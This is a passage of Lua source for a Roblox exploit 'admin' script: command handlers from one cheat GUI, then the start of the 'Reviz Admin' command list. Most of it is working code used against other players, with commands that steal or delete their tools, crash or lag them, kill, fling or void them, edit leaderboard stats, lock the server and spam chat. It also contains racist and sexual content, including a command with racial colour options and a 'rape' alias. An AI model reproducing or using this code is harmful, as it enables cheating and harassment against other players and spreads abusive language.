end
end
end
end)

ADD_COMMAND('jp','jp [plr] [int]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.JumpPower =
ARGS[2] end
end
end)

ADD_COMMAND('smallhead','smallhead [plr]',{'shead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Mesh.Scale = Vector3.new(0.5, 0.5, 0.5)
PCHAR.Head.Mesh.Offset = Vector3.new(0, -0.25, 0)
end
end)
ADD_COMMAND('bighead','bighead [plr]',{'bhead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Mesh.Scale = Vector3.new(2.25, 2.25, 2.25)
PCHAR.Head.Mesh.Offset = Vector3.new(0, 0.5, 0)
end
end)

ADD_COMMAND('headsize','headsize [plr] [int]',{'hsize'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if ARGS[2] == 1 then
PCHAR.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
PCHAR.Head.Mesh.Offset = Vector3.new(0, 0, 0)
else
PCHAR.Head.Mesh.Scale = ARGS[2] * Vector3.new(1.25, 1.25, 1.25)
end
end
end)

ADD_COMMAND('fixhead','fixhead [plr]',{'fhead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Mesh.Scale = Vector3.new(1.25, 1.25, 1.25)
PCHAR.Head.Mesh.Offset = Vector3.new(0, 0, 0)
PCHAR.Head.Transparency = 0
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 0 end
end
end)

ADD_COMMAND('removehead','removehead [plr]',{'rhead'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Head.Transparency = 1
if PCHAR.Head:FindFirstChild('face') then PCHAR.Head.face.Transparency
= 1 end
end
end)

ADD_COMMAND('stealtools','stealtools [plr]',{'stools'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v.Parent = LP.Backpack
end
end
end
end)
ADD_COMMAND('removetools','removetools [plr]',{'rtools'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:destroy()
end
end
end
end)

ADD_COMMAND('clonetools','clonetools [plr]',{'ctools'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
for i,v in pairs(_PLAYERS[v].Backpack:GetChildren()) do
if v:IsA('Tool') or v:IsA('HopperBin') then
v:Clone().Parent = LP.Backpack
end
end
end
end)

ADD_COMMAND('dong','dong [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if ARGS[2] == 'black' then
CREATE_DONG(_PLAYERS[v], 'Brown')
end
if ARGS[2] == 'asian' then
CREATE_DONG(_PLAYERS[v], 'Cool yellow')
end
if ARGS[2] == 'alien' then
CREATE_DONG(_PLAYERS[v], 'Lime green')
end
if ARGS[2] == 'frozen' then
CREATE_DONG(_PLAYERS[v], 1019)
end
if not ARGS[2] then
CREATE_DONG(_PLAYERS[v], 'Pastel brown')
end
end
end)

ADD_COMMAND('particles','particles [plr] [id]',{'pts'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v:IsA('ParticleEmitter') then
v:destroy()
end
end
Instance.new('ParticleEmitter', PCHAR.Torso).Texture =
'rbxassetid://' .. ARGS[2] - 1
end
end)

ADD_COMMAND('rocket','rocket [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
local R = ROCKET:Clone()
R.Parent = workspace
local W = Instance.new('Weld', R)
W.Part0 = W.Parent
W.Part1 = PCHAR.Torso
W.C1 = CFrame.new(0, 0.5, 1)
R.force.Force = Vector3.new(0, 15000, 0)
wait()
PCHAR.HumanoidRootPart.CFrame = PCHAR.HumanoidRootPart.CFrame *
CFrame.new(0, 5, 0)
wait(5)
Instance.new('Explosion', R).Position = R.Position
wait(1)
R:destroy()
end)
end
end)

ADD_COMMAND('blackify','blackify [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
COLOR(_PLAYERS[v], 'Really black')
end
end)

ADD_COMMAND('whitify','whitify [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
COLOR(_PLAYERS[v], 'White')
end
end)

ADD_COMMAND('color','color [plr] [brick color]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
COLOR(_PLAYERS[v], GLS(false, 1))
end
end)

ADD_COMMAND('change','change [plr] [stat] [int/string]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if _PLAYERS[v]:FindFirstChild('leaderstats') then
for i,v in pairs(_PLAYERS[v].leaderstats:GetChildren()) do
if string.lower(v.Name) == string.lower(ARGS[2]) and
v:IsA('IntValue') or v:IsA('NumberValue') then
if ARGS[3] then v.Value = tonumber(ARGS[3]) end
elseif string.lower(v.Name) == string.lower(ARGS[2]) and
v:IsA('StringValue') then
v.Value = GLS(false, 2)
end
end
end
end
end)

ADD_COMMAND('bait','bait',{},
function(ARGS, SPEAKER)
spawn(function()
local M = Instance.new('Model', workspace) M.Name = 'Touch For Admin!'
local P = Instance.new('Part', M) P.Name = 'Head' P.Position =
SPEAKER.Character.Head.Position P.BrickColor = BrickColor.new('Pink') P.Material =
'Neon'
local H = Instance.new('Humanoid', M)
P.Touched:connect(function(RIP) if RIP.Parent.Name ~= SPEAKER.Name or
RIP.Parent.Name ~= LP.Name then if RIP.Parent:FindFirstChild('Humanoid') then
RIP.Parent.Humanoid:destroy() end end end)
end)
end)

ADD_COMMAND('naked','naked [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Accessory') or v:IsA('Shirt') or v:IsA('Pants') or
v:IsA('ShirtGraphic') then
v:destroy()
end
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v:IsA('Decal') then
v:destroy()
end
end
end
end
end)

ADD_COMMAND('decalspam','decalspam [decal]',{'dspam'},
function(ARGS, SPEAKER)
if ARGS[1] then
DECALSPAM(workspace, ARGS[1])
end
end)

ADD_COMMAND('undecalspam','undecalspam',{'undspam'},
function(ARGS, SPEAKER)
if ARGS[1] then
UNDECALSPAM(workspace)
end
end)

ADD_COMMAND('bang','bang [plr]',{'rape'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
BANG(_PLAYERS[v].Name)
end
end)

ADD_COMMAND('lag','lag [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
LAG(_PLAYERS[v])
end
end)

ADD_COMMAND('respawn','respawn [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
RESPAWN(_PLAYERS[v])
end
end)

ADD_COMMAND('face','face [plr] [decal]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR.Head:GetChildren()) do if v:IsA('Decal') then
v:destroy() end end
local F = Instance.new('Decal', PCHAR.Head) F.Name = 'face' F.Texture =
'rbxassetid://' .. ARGS[2] - 1
end
end)

ADD_COMMAND('shirt','shirt [plr] [decal]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Shirt') then
v:destroy() end end
local S = Instance.new('Shirt', PCHAR) S.Name = 'Shirt' S.ShirtTemplate
= 'rbxassetid://' .. ARGS[2] - 1
end
end)

ADD_COMMAND('pants','pants [plr] [decal]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Pants') then
v:destroy() end end
local P = Instance.new('Pants', PCHAR) P.Name = 'Shirt' P.PantsTemplate
= 'rbxassetid://' .. ARGS[2] - 1
end
end)
ADD_COMMAND('longneck','longneck [plr]',{'lneck', 'giraffe'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
RESET_MODEL(PCHAR)
UPDATE_MODEL(PCHAR, _PLAYERS[v].Name)
for i,v in pairs(PCHAR:GetChildren()) do if v:IsA('Accessory') then
v.Handle.Mesh.Offset = Vector3.new(0, 5, 0) end end
if PCHAR.Head:FindFirstChild('Mesh') then PCHAR.Head.Mesh.Offset =
Vector3.new(0, 5, 0) end
local G = Instance.new('Part', PCHAR) G.Name = 'giraffe_seth'
G.BrickColor = PCHAR.Head.BrickColor G.Size = Vector3.new(2, 1, 1)
local SM = Instance.new('SpecialMesh', G) SM.Scale = Vector3.new(1.25,
5, 1.25) SM.Offset = Vector3.new(0, 2, 0)
local W = Instance.new('Weld', G) W.Part0 = PCHAR.Head W.Part1 = G
end
end)

ADD_COMMAND('stealchar','stealchar [plr]',{'schar'},
function(ARGS, SPEAKER)
local PLAYERS1, PLAYERS2 = GET_PLAYER(ARGS[1])
for i,v in pairs(PLAYERS1) do
RESET_MODEL(SPEAKER.Character) UPDATE_MODEL(SPEAKER.Character,
_PLAYERS[v].Name)
end
end)

ADD_COMMAND('baseplate','baseplate',{'bp'},
function(ARGS, SPEAKER)
for i,v in pairs(workspace:GetChildren()) do if v:IsA('Model') and v.Name ==
'baseplate_seth' then v:destroy() end end
local BP = Instance.new('Part', workspace) BP.Name = 'baseplate_seth'
BP.Anchored = true BP.BrickColor = BrickColor.new('Bright green') BP.Size =
Vector3.new(2048, 5, 2048) BP.Position = Vector3.new(0, 0, 0)
end)

ADD_COMMAND('norotate','norotate [plr]',{'nrt'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.AutoRotate =
false end
end
end)

ADD_COMMAND('rotate','rotate [plr]',{'rt'},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Humanoid') then PCHAR.Humanoid.AutoRotate =
true end
end
end)

ADD_COMMAND('admin','admin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if not CHECK_ADMIN(_PLAYERS[v]) then
table.insert(ADMINS, _PLAYERS[v].userId)
UPDATE_ADMINS()
spawn(function()
game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF ..
'You\'re now an admin!')
wait(3)
game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF .. 'Give
me a try! | ' .. C_PREFIX .. 'ff me')
end)
end
end
end)

ADD_COMMAND('unadmin','unadmin [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
if CHECK_ADMIN(_PLAYERS[v]) then
if FIND_IN_TABLE(ADMINS, _PLAYERS[v].userId) then
table.remove(ADMINS, GET_IN_TABLE(ADMINS,
_PLAYERS[v].userId))
UPDATE_ADMINS()
game.Chat:Chat(_PLAYERS[v].Character.Head, STUFF ..
'You\'re no longer an admin.')
end
end
end
end)

ADD_COMMAND('minzoom','minzoom [plr] [int]',{'minz'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].CameraMinZoomDistance = ARGS[2]
end
end)

ADD_COMMAND('maxzoom','maxzoom [plr] [int]',{'maxz'},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
_PLAYERS[v].CameraMaxZoomDistance = ARGS[2]
end
end)

ADD_COMMAND('age','age [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
NOTIFY(_PLAYERS[v].Name .. ' | ' .. _PLAYERS[v].AccountAge, 255, 255,
255)
end
end)

ADD_COMMAND('hl','hl [plr] [r] [g] [b]',{},


function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Torso') then
local HL = Instance.new('SpotLight', PCHAR.Torso) HL.Name =
'seth_hl' HL.Brightness = 5 HL.Range = 60
if ARGS[2] and ARGS[3] and ARGS[4] then
HL.Color = C3(ARGS[2], ARGS[3], ARGS[4])
end
end
end
end)

ADD_COMMAND('unhl','unhl [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
if PCHAR:FindFirstChild('Torso') then
for i,v in pairs(PCHAR.Torso:GetChildren()) do
if v:IsA('SpotLight') and v.Name == 'seth_hl' then
v:destroy()
end
end
end
end
end)

ADD_COMMAND('crash','crash [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
PCHAR.Torso.Anchored = true
for i,v in pairs(PCHAR:GetChildren()) do
if v:IsA('Humanoid') then
for i = 1,10 do
v.HipHeight = 1/0*0
end
end
end
end
end)

ADD_COMMAND('shutdown','shutdown',{},
function(ARGS, SPEAKER)
workspace.Gravity = 1/0*0
end)

ADD_COMMAND('smite','smite [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
local function CastRay(A, B, C) local V = B - A return
workspace:FindPartOnRayWithIgnoreList(Ray.new(A, V.unit * math.min(V.magnitude,
999)), C or {}, false, true) end
local PP = PCHAR.PrimaryPart.Position - Vector3.new(0, 3, 0)
local S = Instance.new('Sound', workspace) S.SoundId =
'rbxassetid://178090362' S.Volume = 1 S:Play() spawn(function() wait(7) S:destroy()
end)
local S,P2 = CastRay(PP, PP - Vector3.new(0, 9, 0), {PCHAR})

local P1 = Instance.new('Part', game.Workspace)


P1.BrickColor = BrickColor.new('Institutional white')
P1.Material = 'Neon'
P1.Transparency = 0.9
P1.Anchored = true
P1.CanCollide = false
P1.Size = Vector3.new(0.2, 0.2, 0.2)
P1.CFrame = CFrame.new((S and P2 or PP) + Vector3.new(0, 1e3, 0))
Instance.new('BlockMesh', P1).Scale = Vector3.new(10, 10000, 10)

local P2, P3, P4, P5 = P1:Clone(), P1:Clone(), P1:Clone(),


P1:Clone()
for i, v in next, {P2, P3, P4, P5} do i = i * 0.1 v.Parent,
v.Size = P1, Vector3.new(0.2 + i, 0.2, 0.2 + i ) v.CFrame = P1.CFrame end wait(0.5)
P1:destroy() PCHAR:BreakJoints()
end)
end
end)

ADD_COMMAND('skydive','skydive [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
spawn(function()
for i = 0, 3 do
if PCHAR then
PCHAR.HumanoidRootPart.CFrame =
PCHAR.HumanoidRootPart.CFrame + Vector3.new(0, 7500, 0)
end
end
end)
end
end)

ADD_COMMAND('message','message [string]',{'m'},
function(ARGS, SPEAKER)
spawn(function()
if MG then
MESSAGE(GLS(false, 0))
else
LOAD_MESSAGE(GLS(false, 0))
end
end)
end)

ADD_COMMAND('control','control [plr]',{},
function(ARGS, SPEAKER)
local PLAYERS = GET_PLAYER(ARGS[1], SPEAKER)
for i,v in pairs(PLAYERS) do
local PCHAR = _PLAYERS[v].Character
local HB = Instance.new('HopperBin', LP.Backpack) HB.Name =
_PLAYERS[v].Name
local CONTROL_ENABLED = false
local function CONTROL(P, V3)
if CONTROL_ENABLED then
if P.Character and P.Character:FindFirstChild('Humanoid')
then
P.Character.Humanoid:MoveTo(V3)
end
end
end
HB.Selected:connect(function(M)
M.Button1Down:connect(function() CONTROL_ENABLED = true
CONTROL(_PLAYERS:FindFirstChild(HB.Name), M.Hit.p) end)
M.Button1Up:connect(function() CONTROL_ENABLED = false end)
end)
end
end)

-- / extra

ADD_COMMAND('gravity','gravity [int]',{},
function(ARGS, SPEAKER)
workspace.Gravity = ARGS[1]
end)

ADD_COMMAND('fixlighting','fixlighting',{'fixl'},
function(ARGS, SPEAKER)
FIX_LIGHTING()
end)

ADD_COMMAND('fixfog','fixfog',{'clrfog'},
function(ARGS, SPEAKER)
_LIGHTING.FogColor = C3(191, 191, 191)
_LIGHTING.FogEnd = 100000000
_LIGHTING.FogStart = 0
end)

ADD_COMMAND('day','day',{},
function(ARGS, SPEAKER)
_LIGHTING.TimeOfDay = 14
end)

ADD_COMMAND('night','night',{},
function(ARGS, SPEAKER)
_LIGHTING.TimeOfDay = 24
end)

ADD_COMMAND('serverlock','serverlock',{'slock'},
function(ARGS, SPEAKER)
SERVER_LOCKED = true
end)

ADD_COMMAND('unserverlock','unserverlock',{'unslock'},
function(ARGS, SPEAKER)
SERVER_LOCKED = false
end)

ADD_COMMAND('fogend','fogend [int]',{},
function(ARGS, SPEAKER)
_LIGHTING.FogEnd = ARGS[1]
end)

ADD_COMMAND('fogcolor','fogcolor [r] [g] [b]',{},


function(ARGS, SPEAKER)
if ARGS[1] and ARGS[2] and ARGS[3] then
_LIGHTING.FogColor = C3(ARGS[1], ARGS[2], ARGS[3])
end
end)

ADD_COMMAND('noclip','noclip',{},
function(ARGS, SPEAKER)
NOCLIP = true
JESUSFLY = false
SWIM = false
end)

ADD_COMMAND('clip','clip',{},
function(ARGS, SPEAKER)
NOCLIP = false
end)

ADD_COMMAND('jesusfly','jesusfly',{},
function(ARGS, SPEAKER)
NOCLIP = false
JESUSFLY = true
SWIM = false
end)

ADD_COMMAND('nojfly','nojfly',{},
function(ARGS, SPEAKER)
JESUSFLY = false
end)

ADD_COMMAND('swim','swim',{},
function(ARGS, SPEAKER)
NOCLIP = false
JESUSFLY = false
SWIM = true
end)

ADD_COMMAND('noswim','noswim',{},
function(ARGS, SPEAKER)
SWIM = false
end)

ADD_COMMAND('fly','fly',{},
function(ARGS, SPEAKER)
sFLY()
end)

ADD_COMMAND('unfly','unfly',{},
function(ARGS, SPEAKER)
NOFLY()
end)

ADD_COMMAND('prefix','prefix [string]',{},
function(ARGS, SPEAKER)
if ARGS[1] then
C_PREFIX = ARGS[1]
NOTIFY('Changed prefix to \'' .. ARGS[1] .. '\'', 255, 255, 255)
end
end)

ADD_COMMAND('version','version',{},
function(ARGS, SPEAKER)
NOTIFY('VERSION | ' .. VERSION, 255, 255, 255)
end)

ADD_COMMAND('fe','fe',{},
function(ARGS, SPEAKER)
spawn(function()
CHECK_FE()
end)
end)

function OPEN_COMMANDS()
SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 30)
SETH_MAIN.main.holder.holders.search.Visible = true
end

function CLOSE_COMMANDS()
SETH_MAIN.main.holder.holders.search.Visible = false
SETH_MAIN.main.holder.Size = UDim2.new(1, 25, 12, 0)
end

function OPEN_TAB(TAB)
if not _CORE:FindFirstChild('seth_main') then OPEN_MAIN() end
for a,b in pairs(SETH_MAIN.main.holder.holders:GetChildren()) do
if b.Name ~= TAB then
b.Visible = false
else
b.Visible = true
end
if TAB ~= 'cmds' then
CLOSE_COMMANDS()
else
OPEN_COMMANDS()
end
end
end

ADD_COMMAND('serverinfo','serverinfo',{'sinfo'},
function(ARGS, SPEAKER)
OPEN_TAB('server')
end)

ADD_COMMAND('admins','admins',{},
function(ARGS, SPEAKER)
OPEN_TAB('admins')
end)

ADD_COMMAND('cmds','cmds',{'commands'},
function(ARGS, SPEAKER)
OPEN_TAB('cmds')
end)

ADD_COMMAND('bans','bans',{},
function(ARGS, SPEAKER)
OPEN_TAB('bans')
end)

ADD_COMMAND('fun','fun',{},
function(ARGS, SPEAKER)
OPEN_TAB('fun')
end)

ADD_COMMAND('changelog','changelog',{},
function(ARGS, SPEAKER)
OPEN_TAB('changelog')
end)

ADD_COMMAND('credits','credits',{},
function(ARGS, SPEAKER)
OPEN_TAB('credits')
end)

MOUSE.KeyDown:connect(function(key)
if key:byte() == 29 then
if not NOCLIP then
ECOMMAND('noclip')
elseif NOCLIP then
ECOMMAND('clip')
end
elseif key:byte() == 30 then
if not JESUSFLY then
ECOMMAND('jesusfly')
elseif JESUSFLY then
ECOMMAND('nojfly')
end
end
end)

-- / after loaded

function CHECK_FE()
if not workspace.FilteringEnabled then
NOTIFY('Filtering is disabled', 50, 255, 50)
elseif workspace.FilteringEnabled then
NOTIFY('Filtering is ENABLED', 255, 50, 50)
end
end

CMD_BAR_H.bar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad', 0.5, true)

local GOING_IN = true


CMD_BAR_H.bar.Changed:connect(function()
if CMD_BAR_H.bar.Text ~= 'press ; to execute a command' and
CMD_BAR_H.bar.Focused and not GOING_IN then
if CMD_BAR_H.bar.Text ~= '' then
if not CMD_BAR_H.bar.Text:find(' ') then
CMD_BAR_H.bar.commands.Visible = true
CMD_BAR_H.bar.commands:ClearAllChildren()
CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0)
local Y_COMMANDS = 0
for i,v in pairs(COMMANDS) do
if v.N:find(CMD_BAR_H.bar.Text) then
CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1,
0, 1, -200), 'InOut', 'Quad', 0.2, true)
CMD_BAR_H.bar.commands.CanvasSize =
CMD_BAR_H.bar.commands.CanvasSize + UDim2.new(0, 0, 0, 20)
local COMMANDS_C =
CMD_BAR_H.bar.commands_ex:Clone()
COMMANDS_C.Position = UDim2.new(0, 0, 0,
Y_COMMANDS)
COMMANDS_C.Visible = true
COMMANDS_C.Text = ' ' .. v.D
COMMANDS_C.Parent = CMD_BAR_H.bar.commands
Y_COMMANDS = Y_COMMANDS + 20
end
end
end
else
CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 0, 0), 'InOut',
'Quad', 0.2, true)
CMD_BAR_H.bar.commands:ClearAllChildren()
CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0)
end
end
end)

CMD_BAR_H.bar.FocusLost:connect(function()
GOING_IN = true
if CMD_BAR_H.bar.Text ~= '' then
spawn(function()
ECOMMAND(CMD_BAR_H.bar.Text, LP)
end)
end
CMD_BAR_H.bar.commands:ClearAllChildren()
CMD_BAR_H.bar.commands.CanvasSize = UDim2.new(0, 0, 0, 0)
CMD_BAR_H.bar.commands:TweenSize(UDim2.new(1, 0, 0, 0), 'InOut', 'Quad', 0.2,
true)
CMD_BAR_H.bar:TweenPosition(UDim2.new(0, -225, 1, -50), 'InOut', 'Quad', 0.5,
true)
end)

MOUSE.KeyDown:connect(function(K)
if K:byte() == 59 then
GOING_IN = false
CMD_BAR_H.bar:TweenPosition(UDim2.new(0, 0, 1, -50), 'InOut', 'Quad',
0.5, true)
CMD_BAR_H.bar:CaptureFocus()
end
end)

NOTIFY('Hello, ' .. _PLAYERS.LocalPlayer.Name, 255, 255, 255)


CHECK_FE()
end)

Reviz.Name = "Reviz"
Reviz.Parent = Admin
Reviz.BackgroundColor3 = Color3.new(0.666667, 0, 0)
Reviz.Position = UDim2.new(0.0369318128, 0, 0.535087705, 0)
Reviz.Size = UDim2.new(0, 147, 0, 39)
Reviz.Font = Enum.Font.Cartoon
Reviz.Text = "Reviz Admin"
Reviz.TextColor3 = Color3.new(0, 0, 0)
Reviz.TextScaled = true
Reviz.TextSize = 14
Reviz.TextWrapped = true
Reviz.MouseButton1Down:connect(function()
-- Creator: illremember#3799

-- Credits to infinite yield, harkinian, dex creators

prefix = ":"
wait(0.3)
Commands = {
'[-] cmdbar is shown when ; is pressed.',
'[1] kill [plr] -- You need a tool! Will kill the player, use rkill to kill you
and player',
'[2] bring [plr] -- You need a tool! Will bring player to you',
'[3] spin [plr] -- You need a tool! Makes you and the player spin crazy',
'[4] unspin -- Use after using spin cmd and dying, so you stop loop
teleporting',
'[5] attach [plr] -- You need a tool! Attaches you to player',
'[6] unattach [plr] -- Attempts to unattach you from a player',
'[7] follow [plr] -- Makes you follow behind the player',
'[8] unfollow',
'[9] freefall [plr] -- You need a tool! Teleports you and the player up into
the air',
'[10] trail [plr] -- The opposite of follow, you stay infront of player',
'[11] untrail',
'[12] orbit [plr] -- Makes you orbit the player',
'[13] unorbit',
'[14] fling [plr] -- Makes you fling the player',
'[15] unfling',
'[16] fecheck -- Checks if the game is FE or not',
'[17] void [plr] -- Teleports player to the void',
'[18] noclip -- Gives you noclip to walk through walls',
'[19] clip -- Removes noclip',
'[20] speed [num]/ws [num] -- Changes how fast you walk 16 is default',
'[21] jumppower [num]/jp [num] -- Changes how high you jump 50 is default',
'[22] hipheight [num]/hh [num] -- Changes how high you float 0 is default',
'[23] default -- Changes your speed, jumppower and hipheight to default
values',
'[24] annoy [plr] -- Loop teleports you to the player',
'[25] unannoy',
'[26] headwalk [plr] -- Loop teleports you to the player head',
'[27] unheadwalk',
'[28] nolimbs -- Removes your arms and legs',
'[29] god -- Gives you FE Godmode',
'[30] drophats -- Drops your accessories',
'[31] droptool -- Drops any tool you have equipped',
'[32] loopdhats -- Loop drops your accessories',
'[33] unloopdhats',
'[34] loopdtool -- Loop drops any tools you have equipped',
'[35] unloopdtool',
'[36] invisible -- Gives you invisibility CREDIT TO TIMELESS',
'[37] view [plr] -- Changes your camera to the player character',
'[38] unview',
'[39] goto [plr] -- Teleports you to player',
'[40] fly -- Allows you to fly, credit to Infinite Yield',
'[41] unfly',
'[42] chat [msg] -- Makes you chat a message',
'[43] spam [msg] -- Spams a message',
'[44] unspam',
'[45] spamwait [num] -- Changes delay of chatting a message for the spam
command in seconds default is 1 second',
'[46] pmspam [plr] -- Spams a player in private message',
'[47] unpmspam',
'[48] cfreeze [plr] -- Freezes a player on your client, they will only be
frozen for you',
'[49] uncfreeze [plr]',
'[50] unlockws -- Unlocks the workspace',
'[51] lockws -- Locks the workspace',
'[52] btools -- Gives you btools that will only show to you useful for deleting
certain blocks only for you',
'[53] pstand -- Enables platform stand',
'[54] unpstand -- Disables platform stand',
'[55] blockhead -- Removes your head mesh',
'[56] sit',
'[57] bringobj [obj] -- Only shows on client, brings an object/part to you
constantly, can be used to bring healing parts, weapons, money etc, type in exact
name',
'[58] wsvis [num] -- Changes visibility of workspace parts, num should be
between 0 and 1, only shows client sided',
'[59] hypertotal -- Loads in my FE GUI Hypertotal',
'[60] cmds -- Prints all commands',
'[61] rmeshhats/blockhats -- Removes the meshes of all your accessories aka
block hats',
'[62] rmeshtool/blocktool -- Removes the mesh of the tool you have equipped aka
block tool',
'[63] spinner -- Makes you spin',
'[64] nospinner',
'[65] reach [num] -- Gives you reach, mostly used for swords, say ;reachd for
default and enter number after for custom',
'[66] noreach -- Removes reach, must have tool equipped',
'[67] rkill [plr] -- Kills you and the player, use kill to just kill the player
without dying',
'[68] tp me [plr] -- Alternative to goto',
'[69] cbring [plr] -- Brings player infront of you, shows only on client,
allows you to do damage to player',
'[70] uncbring',
'[71] swap [plr] -- You need a tool! Swaps players position with yours and your
position with players',
'[72] givetool [plr] -- Gives the tool you have equipped to the player',
'[73] glitch [plr] -- Glitches you and the player, looks very cool',
'[74] unglitch -- Unglitches you',
'[75] grespawn -- Alternative to normal respawn and usually works best for when
